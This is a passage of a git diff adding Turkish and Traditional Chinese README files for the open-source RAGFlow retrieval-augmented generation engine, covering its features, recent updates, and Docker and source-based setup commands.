+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DBEDFA"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="X(Twitter)'da takip et">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Çevrimiçi Demo" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Son%20S%C3%BCr%C3%BCm" alt="Son Sürüm">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/Lisans-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="lisans">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Dokümantasyon</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Yol Haritası</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 İçindekiler</b></summary>
+
+- 💡 [RAGFlow Nedir?](#-ragflow-nedir)
+- 🎮 [Başlarken](#-başlarken)
+- 📌 [Son Güncellemeler](#-son-güncellemeler)
+- 🌟 [Temel Özellikler](#-temel-özellikler)
+- 🔎 [Sistem Mimarisi](#-sistem-mimarisi)
+- 🎬 [Kendi Sunucusunda Barındırma](#-kendi-sunucusunda-barındırma)
+- 🔧 [Yapılandırmalar](#-yapılandırmalar)
+- 🔧 [Docker İmajı Oluşturma](#-docker-i̇majı-oluşturma)
+- 🔨 [Geliştirme İçin Kaynaktan Hizmet Başlatma](#-geliştirme-i̇çin-kaynaktan-hizmet-başlatma)
+- 📚 [Dokümantasyon](#-dokümantasyon)
+- 📜 [Yol Haritası](#-yol-haritası)
+- 🏄 [Topluluk](#-topluluk)
+- 🙌 [Katkıda Bulunma](#-katkıda-bulunma)
+
+</details>
+
+## 💡 RAGFlow Nedir?
+
+[RAGFlow](https://ragflow.io/), derin doküman anlayışına dayalı, açık kaynaklı ve öncü bir Artırılmış Üretim ile Bilgi Erişimi ([RAG](https://ragflow.io/basics/what-is-rag)) motorudur. En son RAG teknolojisini Ajan yetenekleriyle birleştirerek LLM'ler için üstün bir bağlam katmanı oluşturur. Her ölçekteki kuruluşa uyarlanabilir, kolaylaştırılmış bir RAG iş akışı sunar. Yakınsanmış bir [bağlam motoru](https://ragflow.io/basics/what-is-agent-context-engine) ve hazır ajan şablonlarıyla donatılmış RAGFlow, geliştiricilerin karmaşık verileri yüksek doğrulukta, üretime hazır yapay zeka sistemlerine olağanüstü verimlilik ve hassasiyetle dönüştürmesini sağlar.
+
+## 🎮 Başlarken
+
+Bulut hizmetimizi [https://cloud.ragflow.io](https://cloud.ragflow.io) adresinden deneyin.
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 Son Güncellemeler
+
+- 2026-06-15 Feishu, Discord, Telegram, Line vb. gibi birden fazla sohbet kanalını destekleyin.
+- 2026-04-24 DeepSeek v4 desteği.
+- 2026-03-24 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — OpenClaw üzerinden RAGFlow veri setlerine erişmek için resmi bir skill sağlar.
+- 2025-12-26 Yapay zeka ajanı için 'Bellek' desteği eklendi.
+- 2025-11-19 Gemini 3 Pro desteği eklendi.
+- 2025-11-12 Confluence, S3, Notion, Discord, Google Drive'dan veri senkronizasyonu desteği eklendi.
+- 2025-10-23 Doküman ayrıştırma yöntemi olarak MinerU ve Docling desteği eklendi.
+- 2025-10-15 Düzenlenebilir veri alım hattı desteği eklendi.
+- 2025-08-08 OpenAI'ın en yeni GPT-5 serisi modelleri için destek eklendi.
+- 2025-08-01 Ajanlı iş akışı ve MCP desteği eklendi.
+- 2025-05-23 Ajana Python/JavaScript kod çalıştırıcı bileşeni eklendi.
+- 2025-03-19 PDF veya DOCX dosyalarındaki görselleri yorumlamak için çok modlu model desteği eklendi.
+
+## 🎉 Bizi Takip Edin
+
+⭐️ Heyecan verici yeni özellikler ve iyileştirmelerden haberdar olmak için depomuzı yıldızlayın! Yeni sürümler için anında bildirim alın! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Temel Özellikler
+
+### 🍭 **"Kaliteli girdi, kaliteli çıktı"**
+
+- Karmaşık formatlara sahip yapılandırılmamış verilerden [derin doküman anlayışı](./deepdoc/README.md) tabanlı bilgi çıkarımı.
+- Kelimenin tam anlamıyla sınırsız token içinde "samanlıkta iğne bulma" yeteneği.
+
+### 🍱 **Şablon tabanlı parçalama**
+
+- Akıllı ve açıklanabilir.
+- Aralarından seçim yapabileceğiniz çok sayıda şablon seçeneği.
+
+### 🌱 **Azaltılmış halüsinasyonlarla temellendirilmiş alıntılar**
+
+- İnsan müdahalesine olanak tanıyan metin parçalama görselleştirmesi.
+- Temellendirilmiş yanıtları desteklemek için anahtar referansların hızlı görüntülenmesi ve izlenebilir alıntılar.
+
+### 🍔 **Heterojen veri kaynaklarıyla uyumluluk**
+
+- Word, slaytlar, Excel, txt, görseller, taranmış kopyalar, yapılandırılmış veriler, web sayfaları ve daha fazlasını destekler.
+
+### 🛀 **Otomatik ve zahmetsiz RAG iş akışı**
+
+- Hem bireysel hem de büyük işletmeler için özelleştirilmiş kolaylaştırılmış RAG düzenlemesi.
+- Yapılandırılabilir LLM'ler ve gömme (embedding) modelleri.
+- Birleştirilmiş yeniden sıralama ile çoklu geri çağırma.
+- İş süreçlerine sorunsuz entegrasyon için sezgisel API'ler.
+
+## 🔎 Sistem Mimarisi
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 Kendi Sunucusunda Barındırma
+
+### 📝 Ön Koşullar
+
+- CPU >= 4 çekirdek
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Yalnızca RAGFlow'un kod çalıştırıcı (sandbox) özelliğini kullanmayı planlıyorsanız gereklidir.
+
+> [!TIP]
+> Yerel makinenize (Windows, Mac veya Linux) Docker yüklemediyseniz, [Docker Engine Kurulumu](https://docs.docker.com/engine/install/) sayfasına bakın.
+
+### 🚀 Sunucuyu Başlatma
+
+1. `vm.max_map_count` değerinin >= 262144 olduğundan emin olun:
+
+   > `vm.max_map_count` değerini kontrol etmek için:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Değer 262144'ten düşükse, en az 262144 olarak ayarlayın.
+   >
+   > ```bash
+   > # Bu örnekte 262144 olarak ayarlıyoruz:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > Bu değişiklik sistem yeniden başlatıldığında sıfırlanacaktır. Değişikliğin kalıcı olmasını sağlamak için
+   > **/etc/sysctl.conf** dosyasındaki `vm.max_map_count` değerini buna göre ekleyin veya güncelleyin:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. Depoyu klonlayın:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. Önceden oluşturulmuş Docker imajlarını kullanarak sunucuyu başlatın:
+
+> [!CAUTION]
+> Tüm Docker imajları x86 platformları için oluşturulmuştur. Şu anda ARM64 için Docker imajı sunmuyoruz.
+> ARM64 platformundaysanız, sisteminizle uyumlu bir Docker imajı oluşturmak için [bu kılavuzu](https://ragflow.io/docs/dev/build_docker_image) takip edin.
+
+> Aşağıdaki komut RAGFlow Docker imajının `v0.26.4` sürümünü indirir. Farklı RAGFlow sürümleri için aşağıdaki tabloya bakın. `v0.26.4` dışında bir sürüm indirmek için, `docker compose` ile sunucuyu başlatmadan önce **docker/.env** dosyasındaki `RAGFLOW_IMAGE` değişkenini güncelleyin.
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # İsteğe bağlı: Kararlı bir etiket kullanın (sürümler: https://github.com/infiniflow/ragflow/releases)
+   # Bu adım, koddaki **entrypoint.sh** dosyasının Docker imaj sürümüyle eşleşmesini sağlar.
+
+   # DeepDoc görevleri için CPU kullanımı:
+   $ docker compose -f docker-compose.yml up -d
+
+   # DeepDoc görevlerini hızlandırmak için GPU kullanımı:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> Not: `v0.22.0` öncesinde hem gömme modelleri içeren imajlar hem de gömme modelleri içermeyen ince (slim) imajlar sunuyorduk. Detaylar aşağıdadır:
+
+| RAGFlow imaj etiketi | İmaj boyutu (GB) | Gömme modelleri var mı? | Kararlı mı?    |
+|-----------------------|-------------------|-------------------------|-----------------|
+| v0.21.1               | &approx;9        | ✔️                      | Kararlı sürüm   |
+| v0.21.1-slim          | &approx;2        | ❌                       | Kararlı sürüm   |
+
+> `v0.22.0`'dan itibaren yalnızca ince (slim) sürümü sunuyoruz ve imaj etiketine artık **-slim** son eki eklemiyoruz.
+
+4. Sunucu çalışır duruma geldikten sonra sunucu durumunu kontrol edin:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _Aşağıdaki çıktı, sistemin başarıyla başlatıldığını onaylar:_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > Bu onay adımını atlayıp doğrudan RAGFlow'a giriş yaparsanız, o anda RAGFlow tam olarak başlatılmamış olabileceğinden
+   > tarayıcınız `ağ hatası` uyarısı verebilir.
+   >
+5. Web tarayıcınıza sunucunuzun IP adresini girin ve RAGFlow'a giriş yapın.
+
+   > Varsayılan ayarlarla, yalnızca `http://MAKİNENİZİN_IP_ADRESİ` girmeniz yeterlidir (port numarası **gerekmez**),
+   > çünkü varsayılan HTTP sunucu portu `80` varsayılan yapılandırmalar kullanıldığında ihmal edilebilir.
+   >
+6. [service_conf.yaml.template](./docker/service_conf.yaml.template) dosyasında, `user_default_llm` içinde istediğiniz LLM sağlayıcısını seçin ve
+   `API_KEY` alanını ilgili API anahtarıyla güncelleyin.
+
+   > Daha fazla bilgi için [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) sayfasına bakın.
+   >
+
+   _Gösteri başlasın!_
+
+## 🔧 Yapılandırmalar
+
+Sistem yapılandırmaları söz konusu olduğunda, aşağıdaki dosyaları yönetmeniz gerekecektir:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`, `MYSQL_PASSWORD` ve `MINIO_PASSWORD` gibi temel sistem ayarlarını içerir.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Arka uç hizmetlerini yapılandırır. Bu dosyadaki ortam değişkenleri, Docker konteyneri başladığında otomatik olarak doldurulacaktır. Docker konteyneri içinde ayarlanan tüm ortam değişkenleri kullanıma hazır olacak ve hizmet davranışını dağıtım ortamına göre özelleştirmenize olanak tanıyacaktır.
+- [docker-compose.yml](./docker/docker-compose.yml): Sistem, başlatılmak için [docker-compose.yml](./docker/docker-compose.yml) dosyasına dayanır.
+
+> [./docker/README](./docker/README.md) dosyası, [service_conf.yaml.template](./docker/service_conf.yaml.template) dosyasında `${ENV_VARS}` olarak kullanılabilen ortam ayarları ve hizmet yapılandırmalarının ayrıntılı bir açıklamasını sağlar.
+
+Varsayılan HTTP sunucu portunu (80) değiştirmek için [docker-compose.yml](./docker/docker-compose.yml) dosyasında `80:80` ifadesini `<SUNUCU_PORTUNUZ>:80` olarak değiştirin.
+
+Yukarıdaki yapılandırma değişikliklerinin etkili olması için tüm konteynerlerin yeniden başlatılması gerekir:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Doküman Motorunu Elasticsearch'ten Infinity'ye Geçirme
+
+RAGFlow varsayılan olarak tam metin ve vektörlerin depolanması için Elasticsearch kullanır. [Infinity](https://github.com/infiniflow/infinity/)'ye geçmek için şu adımları izleyin:
+
+1. Çalışan tüm konteynerleri durdurun:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+> [!WARNING]
+> `-v` seçeneği Docker konteyner birimlerini silecek ve mevcut veriler temizlenecektir.
+
+2. **docker/.env** dosyasında `DOC_ENGINE` değerini `infinity` olarak ayarlayın.
+3. Konteynerleri başlatın:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Linux/arm64 makinesinde Infinity'ye geçiş henüz resmi olarak desteklenmemektedir.
+
+## 🔧 Docker İmajı Oluşturma
+
+Bu imaj yaklaşık 2 GB boyutundadır ve harici LLM ile gömme hizmetlerine bağlıdır.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+Veya bir proxy arkasındaysanız, proxy parametrelerini iletebilirsiniz:
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://PROXY_ADRESINIZ:PORT \
+  --build-arg https_proxy=http://PROXY_ADRESINIZ:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Geliştirme İçin Kaynaktan Hizmet Başlatma
+
+1. `uv` yükleyin veya zaten yüklüyse bu adımı atlayın:
+
+   ```bash
+   pipx install uv
+   ```
+2. Kaynak kodunu klonlayın ve Python bağımlılıklarını yükleyin:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # RAGFlow'un bağımlı Python modüllerini yükler
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. Bağımlı hizmetleri (MinIO, Elasticsearch, Redis ve MySQL) Docker Compose kullanarak başlatın:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   **docker/.env** dosyasında belirtilen tüm ana bilgisayar adlarını `127.0.0.1`'e çözümlemek için `/etc/hosts` dosyasına aşağıdaki satırı ekleyin:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. HuggingFace'e erişemiyorsanız, bir ayna site kullanmak için `HF_ENDPOINT` ortam değişkenini ayarlayın:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. İşletim sisteminizde jemalloc yoksa, aşağıdaki şekilde yükleyin:
+
+   ```bash
+   # Ubuntu
+   sudo apt-get install libjemalloc-dev
+   # CentOS
+   sudo yum install jemalloc
+   # OpenSUSE
+   sudo zypper install jemalloc
+   # macOS
+   sudo brew install jemalloc
+   ```
+6. Arka uç hizmetini başlatın:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. Ön yüz bağımlılıklarını yükleyin:
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. Ön yüz hizmetini başlatın:
+
+   ```bash
+   npm run dev
+   ```
+
+   _Aşağıdaki çıktı, sistemin başarıyla başlatıldığını onaylar:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. Geliştirme tamamlandıktan sonra RAGFlow ön yüz ve arka uç hizmetini durdurun:
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 Dokümantasyon
+
+- [Hızlı Başlangıç](https://ragflow.io/docs/dev/)
+- [Yapılandırma](https://ragflow.io/docs/dev/configurations)
+- [Sürüm Notları](https://ragflow.io/docs/dev/release_notes)
+- [Kullanıcı Kılavuzları](https://ragflow.io/docs/category/user-guides)
+- [Geliştirici Kılavuzları](https://ragflow.io/docs/category/developer-guides)
+- [Referanslar](https://ragflow.io/docs/dev/category/references)
+- [SSS](https://ragflow.io/docs/dev/faq)
+
+## 📜 Yol Haritası
+
+[RAGFlow Yol Haritası 2026](https://github.com/infiniflow/ragflow/issues/12241) sayfasına bakın.
+
+## 🏄 Topluluk
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Tartışmalar](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Katkıda Bulunma
+
+RAGFlow, açık kaynak iş birliği sayesinde gelişmektedir. Bu anlayışla, topluluktan gelen çeşitli katkıları benimsiyoruz.
+Bir parçası olmak istiyorsanız, önce [Katkıda Bulunma Kılavuzumuzu](https://ragflow.io/docs/dev/contributing) inceleyin.

README_tzh.md

@@ -0,0 +1,428 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DBEDFA"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 目錄</b></summary>
+
+- 💡 [RAGFlow 是什麼？](#-RAGFlow-是什麼)
+- 🎮 [快速開始](#-快速開始)
+- 📌 [近期更新](#-近期更新)
+- 🌟 [主要功能](#-主要功能)
+- 🔎 [系統架構](#-系統架構)
+- 🎬 [自行架設](#-自行架設)
+- 🔧 [系統配置](#-系統配置)
+- 🔨 [以原始碼啟動服務](#-以原始碼啟動服務)
+- 📚 [技術文檔](#-技術文檔)
+- 📜 [路線圖](#-路線圖)
+- 🏄 [貢獻指南](#-貢獻指南)
+- 🙌 [加入社區](#-加入社區)
+- 🤝 [商務合作](#-商務合作)
+
+</details>
+
+## 💡 RAGFlow 是什麼？
+
+[RAGFlow](https://ragflow.io/) 是一款領先的開源 [RAG](https://ragflow.io/basics/what-is-rag)（Retrieval-Augmented Generation）引擎，通過融合前沿的 RAG 技術與 Agent 能力，為大型語言模型提供卓越的上下文層。它提供可適配任意規模企業的端到端 RAG 工作流，憑藉融合式[上下文引擎](https://ragflow.io/basics/what-is-agent-context-engine)與預置的 Agent 模板，助力開發者以極致效率與精度將複雜數據轉化為高可信、生產級的人工智能系統。
+
+## 🎮 快速開始
+
+請登入網址 [https://cloud.ragflow.io](https://cloud.ragflow.io) 試用雲服務。
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 近期更新
+
+- 2026-06-15 支援飛書、Discord、Telegram、Line 等多種聊天管道。
+- 2026-04-24 支援 DeepSeek v4 版本。
+- 2026-03-24 發布 [RAGFlow 官方 Skill](https://clawhub.ai/yingfeng/ragflow-skill) — 提供官方 Skill 以透過 OpenClaw 訪問 RAGFlow 數據集。
+- 2025-12-26 支援AI代理的「記憶」功能。
+- 2025-11-19 支援 Gemini 3 Pro。
+- 2025-11-12 支援從 Confluence、S3、Notion、Discord、Google Drive 進行資料同步。
+- 2025-10-23 支援 MinerU 和 Docling 作為文件解析方法。
+- 2025-10-15 支援可編排的資料管道。
+- 2025-08-08 支援 OpenAI 最新的 GPT-5 系列模型。
+- 2025-08-01 支援 agentic workflow 和 MCP。
+- 2025-05-23 為 Agent 新增 Python/JS 程式碼執行器元件。
+- 2025-03-19 PDF和DOCX中的圖支持用多模態大模型去解析得到描述。
+
+
+## 🎉 關注項目
+
+⭐️ 點擊右上角的 Star 追蹤 RAGFlow，可以取得最新發布的即時通知 !🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 主要功能
+
+### 🍭 **"Quality in, quality out"**
+
+- 基於[深度文件理解](./deepdoc/README.md)，能夠從各類複雜格式的非結構化資料中提取真知灼見。
+- 真正在無限上下文（token）的場景下快速完成大海撈針測試。
+
+### 🍱 **基於模板的文字切片**
+
+- 不只是智能，更重要的是可控可解釋。
+- 多種文字範本可供選擇
+
+### 🌱 **有理有據、最大程度降低幻覺（hallucination）**
+
+- 文字切片過程視覺化，支援手動調整。
+- 有理有據：答案提供關鍵引用的快照並支持追根溯源。
+
+### 🍔 **相容各類異質資料來源**
+
+- 支援豐富的文件類型，包括 Word 文件、PPT、excel 表格、txt 檔案、圖片、PDF、影印件、複印件、結構化資料、網頁等。
+
+### 🛀 **全程無憂、自動化的 RAG 工作流程**
+
+- 全面優化的 RAG 工作流程可以支援從個人應用乃至超大型企業的各類生態系統。
+- 大語言模型 LLM 以及向量模型皆支援配置。
+- 基於多路召回、融合重排序。
+- 提供易用的 API，可輕鬆整合到各類企業系統。
+
+## 🔎 系統架構
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 自行架設
+
+### 📝 前提條件
+
+- CPU >= 4 核
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): 僅在您打算使用 RAGFlow 的代碼執行器（沙箱）功能時才需要安裝。
+
+> [!TIP]
+> 如果你並沒有在本機安裝 Docker（Windows、Mac，或 Linux）, 可以參考文件 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安裝。
+
+### 🚀 啟動伺服器
+
+1. 確保 `vm.max_map_count` 不小於 262144：
+
+   > 如需確認 `vm.max_map_count` 的大小：
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > 如果 `vm.max_map_count` 的值小於 262144，可以進行重設：
+   >
+   > ```bash
+   > # 這裡我們設為 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > 你的改動會在下次系統重新啟動時被重置。如果希望做永久改動，還需要在 **/etc/sysctl.conf** 檔案裡把 `vm.max_map_count` 的值再相應更新一遍：
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. 克隆倉庫：
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. 進入 **docker** 資料夾，利用事先編譯好的 Docker 映像啟動伺服器：
+
+> [!CAUTION]
+> 所有 Docker 映像檔都是為 x86 平台建置的。目前，我們不提供 ARM64 平台的 Docker 映像檔。
+> 如果您使用的是 ARM64 平台，請使用 [這份指南](https://ragflow.io/docs/dev/build_docker_image) 來建置適合您系統的 Docker 映像檔。
+
+> 執行以下指令會自動下載 RAGFlow Docker 映像 `v0.26.4`。請參考下表查看不同 Docker 發行版的說明。如需下載不同於 `v0.26.4` 的 Docker 映像，請在執行 `docker compose` 啟動服務之前先更新 **docker/.env** 檔案內的 `RAGFLOW_IMAGE` 變數。
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # 可選：使用穩定版標籤（查看發佈：https://github.com/infiniflow/ragflow/releases）
+   # 此步驟確保程式碼中的 entrypoint.sh 檔案與 Docker 映像版本一致。
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> 注意：在 `v0.22.0` 之前的版本，我們會同時提供包含 embedding 模型的映像和不含 embedding 模型的 slim 映像。具體如下：
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> 從 `v0.22.0` 開始，我們只發佈 slim 版本，並且不再在映像標籤後附加 **-slim** 後綴。
+
+> [!TIP]
+> 如果你遇到 Docker 映像檔拉不下來的問題，可以在 **docker/.env** 檔案內根據變數 `RAGFLOW_IMAGE` 的註解提示選擇華為雲或阿里雲的對應映像。
+>
